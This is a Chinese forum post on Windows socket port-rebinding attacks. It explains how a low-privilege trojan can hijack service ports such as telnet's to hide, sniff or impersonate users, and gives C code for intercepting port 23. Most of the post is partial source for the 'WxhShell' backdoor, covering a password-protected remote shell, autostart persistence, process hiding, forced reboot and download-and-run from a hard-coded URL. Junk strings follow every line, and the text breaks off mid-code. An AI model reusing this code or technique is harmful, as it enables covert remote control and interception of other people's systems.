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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e;5Lv9?C8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %6'D!H?d  
=.hDf<U  
  saddr.sin_family = AF_INET; 1}E@lOc  
A*~1Uz\t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lKUm_; m  
%},G(>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )<F\IM  
}Xi#x*-D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7y Te]O  
Xh"iP%  
  这意味着什么?意味着可以进行如下的攻击: n;-r W;ZO  
_%vqBr*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +[ /r^C  
NCFV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >}{-!  
Td1ba^J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *v ^"4  
Sp,Q,Q4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %i>e  
|S:!+[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EE6|9K>  
!<zzP LC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '5/}MMT  
d J:x1j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q'% o;z*  
_-J@$d%  
  #include sC_UalOC_  
  #include /2Lo{v=0[  
  #include JlQT5k  
  #include    ~<- ci  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V?59 .TJ  
  int main() uyt-q|83=  
  { 7&1~O#  
  WORD wVersionRequested; m2CWQ[u  
  DWORD ret; chmJ|  
  WSADATA wsaData; j& iL5J;  
  BOOL val; Q@wq }vc!  
  SOCKADDR_IN saddr; P`dHR;Y0  
  SOCKADDR_IN scaddr; @) ZO$h  
  int err; `F\:XuY   
  SOCKET s; 1bZiPG{  
  SOCKET sc; |cGeL[  
  int caddsize; #S%Y; ilq  
  HANDLE mt; vj&5`  
  DWORD tid;   4t Nvq  
  wVersionRequested = MAKEWORD( 2, 2 ); h+~df(S.  
  err = WSAStartup( wVersionRequested, &wsaData ); YOV4)P"  
  if ( err != 0 ) { E97+GJ3  
  printf("error!WSAStartup failed!\n"); h<1dTl*  
  return -1; $7&l6~sMQ  
  } 5f'g 3'  
  saddr.sin_family = AF_INET; |8c:+8  
   &^n> ZY,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rk,1am:cg  
g~c|~u(W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Tj21YK.mk  
  saddr.sin_port = htons(23); ~]W[ {3 ;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O| J`~Lk  
  { %y\eBfW,/  
  printf("error!socket failed!\n"); RC{Z)M{~  
  return -1; aXbNDj ][  
  } B UQn+;be  
  val = TRUE; D5!K<G?-K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %7>AcTN~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3V Mh)  
  { `X<`j6zaG  
  printf("error!setsockopt failed!\n"); [s{r$!Gl  
  return -1; Y3$PQwn .P  
  } 25a#eDbqi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PIEW\i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rW~?0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sh(kRrdY3  
*rn]/w8ZW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }d~wDg<#  
  { '"w}gx  
  ret=GetLastError(); 5`"*y iv  
  printf("error!bind failed!\n"); $FQcDo|[  
  return -1; 7<1fKrN?GF  
  } AX!>l;  
  listen(s,2); 0^}'+t,lc  
  while(1) dmaqXsU8q  
  { z/0yO@_D/q  
  caddsize = sizeof(scaddr); }WO9!E(  
  //接受连接请求 EARfbb"SG7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J[!x%8m  
  if(sc!=INVALID_SOCKET) i6F:C &.  
  { 1rv$?=Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,.oa,sku  
  if(mt==NULL) r'd:SaU+  
  { <,@H;|mZ  
  printf("Thread Creat Failed!\n"); &*aer5?`  
  break; y Tw',N{  
  } w.D4dv_H  
  } 1]>$5 1Q  
  CloseHandle(mt); eyf4M;goz}  
  } /~Zc}o,J  
  closesocket(s); ~)wwX:;B_  
  WSACleanup(); ~TG39*m  
  return 0; b ~/Wnp5  
  }   E5*-;>2c  
  DWORD WINAPI ClientThread(LPVOID lpParam) i'!jx.  
  { }$|%/Y  
  SOCKET ss = (SOCKET)lpParam; U6juS/  
  SOCKET sc; np-T&Pz2  
  unsigned char buf[4096]; VR4E 2^  
  SOCKADDR_IN saddr; : 'd76pM-  
  long num; emv;m/&8  
  DWORD val; (|<h^] y3  
  DWORD ret; Gg}5$||^C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7MO  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gH i~nEH  
  saddr.sin_family = AF_INET; m3xz=9Ve  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D|TLTF"  
  saddr.sin_port = htons(23); wX)efLmyhY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $/[Gys3"  
  { 3`&VRF8  
  printf("error!socket failed!\n"); V< i<0E  
  return -1; *MYt:ms  
  } (|g").L  
  val = 100; >`hSye{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gva}J 6{  
  { ?eL='>Ne  
  ret = GetLastError(); pXPqDA  
  return -1; s?^,iQ+tp  
  } S}.\v<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0 &*P}U}Uc  
  { m x3}m?WQ  
  ret = GetLastError(); [as-3&5S  
  return -1; oMh~5 W  
  } 0\5M^:8i3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g|ql 5jW  
  { FNz84qVIx'  
  printf("error!socket connect failed!\n"); YO@hE>  
  closesocket(sc); n 5~=qQK2  
  closesocket(ss); CgVh\4,a  
  return -1; <\, & :<  
  } UvPp~N 7,  
  while(1) gf0PMc3l  
  { /:#j ?c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PM~bM3Ei  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OlEpid'Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2;~KL-h0TK  
  num = recv(ss,buf,4096,0); \ |4 Ca't  
  if(num>0) '1CD- Bu  
  send(sc,buf,num,0); L"[IOV9S  
  else if(num==0) oy2(Ag\  
  break; T(Y}V[0+  
  num = recv(sc,buf,4096,0); [urH a  
  if(num>0) RRx`}E9,  
  send(ss,buf,num,0); #mgA/q?A  
  else if(num==0) [zY!'cz?  
  break; QjQ4Z'.r>  
  } |yLk5e~@-  
  closesocket(ss); i[^k.W3gf  
  closesocket(sc); 1KW3l<v-6  
  return 0 ; HR[Q ?rg  
  } 'Z\{D*=V8  
X!T|07#c  
TkA9tFi  
========================================================== \4OK!6LkI  
B^Xy0fq  
下边附上一个代码,,WXhSHELL R `;o!B}[  
H \r`7  
========================================================== -&trk  
azvDvEWCQZ  
#include "stdafx.h" |xq} '.C  
M|U';2hZN:  
#include <stdio.h> %v]7BV^%6  
#include <string.h> clHM8$  
#include <windows.h> ha_@Yqgh  
#include <winsock2.h> IK8%Q(.c  
#include <winsvc.h> L<0=giE  
#include <urlmon.h> (.PmDBW  
dF$KrwDK  
#pragma comment (lib, "Ws2_32.lib") +d=~LQ}*  
#pragma comment (lib, "urlmon.lib") 2[.5oz`  
R @"`~#$$  
#define MAX_USER   100 // 最大客户端连接数 >[K0=nA  
#define BUF_SOCK   200 // sock buffer mDZ=Due1  
#define KEY_BUFF   255 // 输入 buffer (Ar?QwP9>  
~Y% : 3  
#define REBOOT     0   // 重启 ,MRvuw0P  
#define SHUTDOWN   1   // 关机 #xlZU  
/[0F6  
#define DEF_PORT   5000 // 监听端口 fb /qoZ  
aJI>FTdK  
#define REG_LEN     16   // 注册表键长度 l x7Kw%  
#define SVC_LEN     80   // NT服务名长度 h:f;mn?x  
FnY$)o;   
// 从dll定义API ?3[tJreVj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pXssh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dft4isyt^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %Hh3u$Y,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o5>/}wIf  
/n(9&'H<  
// wxhshell配置信息 -=}b;Kf -  
struct WSCFG { rWJ*e Y  
  int ws_port;         // 监听端口 \kxh#{$z?  
  char ws_passstr[REG_LEN]; // 口令 TNx_Rc}  
  int ws_autoins;       // 安装标记, 1=yes 0=no \F[n`C"Is  
  char ws_regname[REG_LEN]; // 注册表键名 ?k"0w)8  
  char ws_svcname[REG_LEN]; // 服务名 7 xUE,)?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3Mw}R6g@#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .M8=^,h^K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B0v|{C   
int ws_downexe;       // 下载执行标记, 1=yes 0=no fO #?k<p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,pn ) >  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9MT3T?IS  
3#9uEDdE  
}; RXM}hqeG  
am2a#4`  
// default Wxhshell configuration A$Wx#r7)  
struct WSCFG wscfg={DEF_PORT, 0E yAMu  
    "xuhuanlingzhe", 691G15  
    1, ]s _@n!  
    "Wxhshell", au}s=ua~i  
    "Wxhshell", "tKNlHBu'  
            "WxhShell Service", t|.Ft<c#  
    "Wrsky Windows CmdShell Service", .W$ sxVXB  
    "Please Input Your Password: ", 7g5@vYS+  
  1, zb>;?et;)  
  "http://www.wrsky.com/wxhshell.exe", yu=piP  
  "Wxhshell.exe" wsq LXZI  
    }; <iRWd  
X3AwM%,!  
// 消息定义模块 zLL)VFCJW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b) Ux3PB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ibF M5m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; of=ql  
char *msg_ws_ext="\n\rExit."; vffH  
char *msg_ws_end="\n\rQuit."; "(<%Ua  
char *msg_ws_boot="\n\rReboot..."; @O'I)(To  
char *msg_ws_poff="\n\rShutdown..."; q4+Yv2e <r  
char *msg_ws_down="\n\rSave to "; w?_`/oqd|  
O MvT;Vgg  
char *msg_ws_err="\n\rErr!"; } #qQ2NCH  
char *msg_ws_ok="\n\rOK!"; $.9 +{mz  
'<W<B!HP5Z  
char ExeFile[MAX_PATH]; !x8kB Di,  
int nUser = 0; L $SMfx  
HANDLE handles[MAX_USER]; T!(sZf  
int OsIsNt; TywK\hH  
[ T-*/}4$  
SERVICE_STATUS       serviceStatus; ?]5Ix1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (V!0'9c  
PGkCOmq   
// 函数声明 5~QT g  
int Install(void); 1) 'Iu`k/  
int Uninstall(void); [EER4@_  
int DownloadFile(char *sURL, SOCKET wsh); 7/ t:YBR  
int Boot(int flag); {<!hlB  
void HideProc(void); %P;[fJ `G  
int GetOsVer(void); QAi1,+y]7w  
int Wxhshell(SOCKET wsl); u3ST;  
void TalkWithClient(void *cs); L@?e:*h  
int CmdShell(SOCKET sock); ncj!KyU  
int StartFromService(void); #hy+ L  
int StartWxhshell(LPSTR lpCmdLine); [8TS"ph>  
:mP9^Do2;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <n\i>A3`,S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AJdp6@O +  
a(f(R&-:$Y  
// 数据结构和表定义 'mJ13  
SERVICE_TABLE_ENTRY DispatchTable[] = +X[8wUm|^  
{ SwX@I6huM  
{wscfg.ws_svcname, NTServiceMain}, NZP7r;u  
{NULL, NULL} =-5[Hn%  
}; @i{]4rk lv  
/e(W8aszi  
// 自我安装 AX K95eS  
int Install(void) 50 *@.!^*  
{ 2 eHx"Ha  
  char svExeFile[MAX_PATH]; D?mDG|Z  
  HKEY key; 2qjyFTT  
  strcpy(svExeFile,ExeFile); NNmM#eB:4  
S}b~_}  
// 如果是win9x系统,修改注册表设为自启动 F )7j@h^  
if(!OsIsNt) { 9$wAm89  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ##GY<\",;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { m'AY)  
  RegCloseKey(key); p(?g-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vzG ABP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e,"FnW  
  RegCloseKey(key); 3e *-\TP-  
  return 0; ) P%4:P  
    } E<k ^S{  
  } fdLBhe#9M  
} 9(Jy0]E~  
else { Se Oy7  
D7gHE  
// 如果是NT以上系统,安装为系统服务 ]VDn'@uM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #2N_/J(U  
if (schSCManager!=0) X|'2R^V.  
{ 4kh8W~i;/  
  SC_HANDLE schService = CreateService =+\$e1Mb*  
  ( O+b6lg)q  
  schSCManager, r>O|L%xpv  
  wscfg.ws_svcname, \OY}GRKt  
  wscfg.ws_svcdisp, /?U!y?t&@  
  SERVICE_ALL_ACCESS, 2lo:a{}j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |EEi&GOR(y  
  SERVICE_AUTO_START, QXY}STs  
  SERVICE_ERROR_NORMAL, x) 5LT}p  
  svExeFile, ]Zk}ZG>6  
  NULL, o[^Q y(2~  
  NULL, -yl;3K]l  
  NULL, =ajLa/m'  
  NULL, "&<~UiI  
  NULL g>T  
  ); He<;4?:  
  if (schService!=0) &`@lB (m  
  { U=DEV7E  
  CloseServiceHandle(schService); Zw24f1iY  
  CloseServiceHandle(schSCManager); Yv=g^tw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T%~SM5  
  strcat(svExeFile,wscfg.ws_svcname); `2e_ L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -N4z-ozhC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @,e8t BL  
  RegCloseKey(key); #9,=Owup  
  return 0; \4QH/e  
    } B\0t&dai|'  
  } Eu4 &-i  
  CloseServiceHandle(schSCManager); zi.mq&,]R  
} z7k$0&  
} E-F5y  
WUY,. 8  
return 1; RY<%'\A`~  
} [xf$VkjuF  
`M0YAiG  
// 自我卸载 ( OXY^iq  
int Uninstall(void)  p[Hr39o  
{ ~ k<SbFp  
  HKEY key; 6klD22b2$  
HzEGq,.  
if(!OsIsNt) { y]^#$dK(z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F|*tNJU>  
  RegDeleteValue(key,wscfg.ws_regname); snq;:n!   
  RegCloseKey(key); j%WY ,2P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QoseS/  
  RegDeleteValue(key,wscfg.ws_regname); e96#2A5f  
  RegCloseKey(key); [zx|eG<&-  
  return 0; GMe0;StT  
  } X  Ny Y$  
} 1a*6ZGk.  
} kC31$jMC3!  
else { 0ERsMnU'  
sZwZWD'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yKlU6t&` G  
if (schSCManager!=0) XmlIj8%9[&  
{ #fj[kq)&S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C=yD3mVz  
  if (schService!=0) uQ^hV%|"  
  { H0+:XF\M  
  if(DeleteService(schService)!=0) { q0g1E Jar  
  CloseServiceHandle(schService); eo ?Oir)  
  CloseServiceHandle(schSCManager); B/G3T u uG  
  return 0; <p/MyqZf  
  } M?R!n$N_  
  CloseServiceHandle(schService); J^h'9iQpi  
  } FR["e1<0  
  CloseServiceHandle(schSCManager); dE GX3 -  
} 3fl7~Lw,  
} 3(o7co-f  
f B7ljg  
return 1; <5k&)EoT  
} cd+^=esSO  
0-GKu d  
// 从指定url下载文件 {(!)P  
int DownloadFile(char *sURL, SOCKET wsh) Pt(tRHB  
{ -O%[!&`  
  HRESULT hr; q}s K  
char seps[]= "/"; &rP~`4Mkp  
char *token; @Kp1k> ov  
char *file; =Sa~\k+  
char myURL[MAX_PATH]; \imp7}N  
char myFILE[MAX_PATH]; phmVkV2a;#  
P#v^"}.Wd  
strcpy(myURL,sURL); "f<#.}8  
  token=strtok(myURL,seps); =1IEpxh%  
  while(token!=NULL) 7j T#BWt  
  { E[ 0Sst x  
    file=token; _jo$)x+'x  
  token=strtok(NULL,seps); oSmjs  
  } P8IRH#ED  
5Xj|:qz<(  
GetCurrentDirectory(MAX_PATH,myFILE); !?6.!2  
strcat(myFILE, "\\"); qsTq*G  
strcat(myFILE, file); "vsjen.K>  
  send(wsh,myFILE,strlen(myFILE),0); H) cQO?B  
send(wsh,"...",3,0); *#6|!%?g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2^J/6R$  
  if(hr==S_OK) 7N6zqjIB  
return 0; hR0]8l|  
else 8:<1|]]  
return 1; jzQ I>u  
;AltNGcM  
} ~ur)f AuF2  
O/$ v69:  
// 系统电源模块 Hva{A #  
int Boot(int flag) a}w&dE$!-  
{ pJn>oGeJ&  
  HANDLE hToken; @BXaA0F4  
  TOKEN_PRIVILEGES tkp; Kn. iyR  
Lg b  
  if(OsIsNt) { 1 0V+OIC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FbuKZp+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c[Yq5Bu{y  
    tkp.PrivilegeCount = 1; ]a=l^Pc(xN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PB@-U.Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h~:H?pj3g  
if(flag==REBOOT) { [&Lxz~W][  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L PMb0F}"5  
  return 0; GV=V^Fl .  
} i6FP[6H1  
else { 9c%(]Rn:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jWhD5k@v  
  return 0; yG4MUf6  
} F; 0Dp  
  } #|q;t   
  else { .N&QW `  
if(flag==REBOOT) { /%;/pi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $sM]BE:  
  return 0; L^&do98  
} 4">84,-N  
else { N*? WUn9]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CO7CNN  
  return 0; bnIf}ut-G  
} ,znL,%s  
} gl Li  
> d^r">!,  
return 1; } cRi A  
} IK85D>00T  
rtoSCj:  
// win9x进程隐藏模块 m[{nm95QZ  
void HideProc(void) %N!h38N2  
{ JW2W>6Dgv[  
.ZM]%[4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WI%zr2T  
  if ( hKernel != NULL ) eUYG96Jw  
  { 4U:DJ_GN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WtMcI>4w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cS+?s=d  
    FreeLibrary(hKernel); EccFx7h  
  } g}^4^88=a  
m79m{!q$-  
return; S|tA[klh  
} l8eT{!4  
zC[i <'h!T  
// 获取操作系统版本 ^BQ>vI'.4  
int GetOsVer(void) >Y44{D\`  
{ ]rKH|i  
  OSVERSIONINFO winfo; CdE2w?1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nvw NjN  
  GetVersionEx(&winfo); A5`#Ot*3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l[:^TfB  
  return 1; jD$;q7fB  
  else |P^ikx6f5  
  return 0; zaQ$ Ht  
} 3~#ZE;>#  
w}fqs/)w  
// 客户端句柄模块 "~B~{ _<j  
int Wxhshell(SOCKET wsl) ^Jc$BMaVg  
{ &?&'"c{;m  
  SOCKET wsh; r@\,VD6J  
  struct sockaddr_in client; g4?Q.'dZr  
  DWORD myID; mOABZ#+Fk  
"87O4 #$  
  while(nUser<MAX_USER) a>#d=.  
{ jqV)V>M.  
  int nSize=sizeof(client); aU,0gvI(}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zS#f%{   
  if(wsh==INVALID_SOCKET) return 1; Tq_1wX'\  
H!Fr("6}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u66TrYStG  
if(handles[nUser]==0) )cf p(16  
  closesocket(wsh); R V_MWv  
else d{vc wZQ  
  nUser++; ot&j HS'  
  } ;))[P_$zB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :T8u?@ .  
hlY S=cgY=  
  return 0; 7R% PVgS4x  
} $sB48LJuU'  
My`josJ`Pb  
// 关闭 socket $fq-wl-=  
void CloseIt(SOCKET wsh) n3-GnVC][  
{ 4+Li)A:4.  
closesocket(wsh); p7?CeyZ-V  
nUser--; k:&?$  
ExitThread(0); NXC~#oG  
} ^Y1AeJ$L  
eUGm ns  
// 客户端请求句柄 Qr^Z~$i t  
void TalkWithClient(void *cs) A= \'r<:  
{ *+4>iL*:  
f=-!2#%  
  SOCKET wsh=(SOCKET)cs; zM3H@;}m  
  char pwd[SVC_LEN]; ;@h'Mb  
  char cmd[KEY_BUFF]; %FXIlH5  
char chr[1]; 2 `q^Q  
int i,j; 7N-CtQnv  
ru(?a~lF8~  
  while (nUser < MAX_USER) { q329z>  
L~SrI{aYPf  
if(wscfg.ws_passstr) { FcJ.)U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Yiq$Z{qQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U>3%!83kF  
  //ZeroMemory(pwd,KEY_BUFF); $A5B{2  
      i=0;  h;:Se  
  while(i<SVC_LEN) { g(z#h$@S  
^"6D0!'N  
  // 设置超时 =B ,_d0Id  
  fd_set FdRead; d6Q :{!Sd"  
  struct timeval TimeOut; z[$9B#P  
  FD_ZERO(&FdRead); 4q@9  
  FD_SET(wsh,&FdRead); Z IGbwL  
  TimeOut.tv_sec=8; ^HOwN<}`#  
  TimeOut.tv_usec=0; [xp~@5r'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <*b]JY V@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iPtm@f,bI  
 CU7iva  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ||"":K  
  pwd=chr[0]; gn4g 43  
  if(chr[0]==0xd || chr[0]==0xa) { 7oqn;6<[>,  
  pwd=0; ?()E5 4y  
  break; ]ZU:%Qhu  
  } KY(l<pm  
  i++; [W8iM7D  
    } |n-a\  
7!` C TE  
  // 如果是非法用户,关闭 socket M25z<Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f0fqDmn  
} Xy KKD&j  
s1*WK&@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D; 35@gtj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }X W#?l  
iX9[Q0g=oQ  
while(1) { "cz]bCr8  
^0BF2&Zx  
  ZeroMemory(cmd,KEY_BUFF); ADwwiq#E  
aF4V|?+  
      // 自动支持客户端 telnet标准   [ XY:MU e  
  j=0; r)Mx.`d!  
  while(j<KEY_BUFF) { 3<1HqU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'piF_5(@  
  cmd[j]=chr[0]; B2Awdw3=g  
  if(chr[0]==0xa || chr[0]==0xd) { S|u1QGB  
  cmd[j]=0; KzFs#rhpn  
  break; V }r_   
  } @Tm0T7C  
  j++; EssUyF-jwU  
    } -$!Pf$l@  
Af! W K=  
  // 下载文件 7+2aG  
  if(strstr(cmd,"http://")) { *F4G qX3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L}sm R,  
  if(DownloadFile(cmd,wsh)) XH Zu>[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *z  ;N  
  else (w7cdqe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '=G<)z@k  
  } ~)\1g0  
  else { -fZShOBY`  
OHa{!SaL  
    switch(cmd[0]) { " :nVigw&  
  {u[K ^G  
  // 帮助 _R!!4Hp<Q  
  case '?': { . AQ3zpy5B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BOl$UJ|K  
    break; l.W1$g  
  } x.4)p6  
  // 安装 ` a<|CcUGU  
  case 'i': { @0@'6J04  
    if(Install()) "=5vgg3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN? Lz%z3  
    else v.8S V]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]\b1~ki!F  
    break; vEee/+1?  
    } A"T. nqB^y  
  // 卸载 ^ {]sD}Q"  
  case 'r': { HuLm!tCu  
    if(Uninstall()) `5 v51TpH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h/y}  
    else -r2qIt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BKlc{=  
    break; :@4>}k*  
    } 2W-NCE%K)T  
  // 显示 wxhshell 所在路径 ^}pREe c=  
  case 'p': { EpS8,[w  
    char svExeFile[MAX_PATH]; >~bj7M6t  
    strcpy(svExeFile,"\n\r"); gZ%O<XO  
      strcat(svExeFile,ExeFile); z(#hL-{c  
        send(wsh,svExeFile,strlen(svExeFile),0); 9,a,A6xry  
    break; 3b/vyZF  
    } DDCQAf  
  // 重启 @IKe<{w  
  case 'b': { 8LM1oal}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C5n=2luI_  
    if(Boot(REBOOT)) g1!L. On  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kp>Z/kt  
    else { IF?B`TmZ  
    closesocket(wsh); B+H9c~3$  
    ExitThread(0); Ak-7}i  
    } 5qB=@O]|G;  
    break;  YaZ "&i  
    } ML"P"&~u6  
  // 关机 -$|X\#R  
  case 'd': { w3cK: C0  
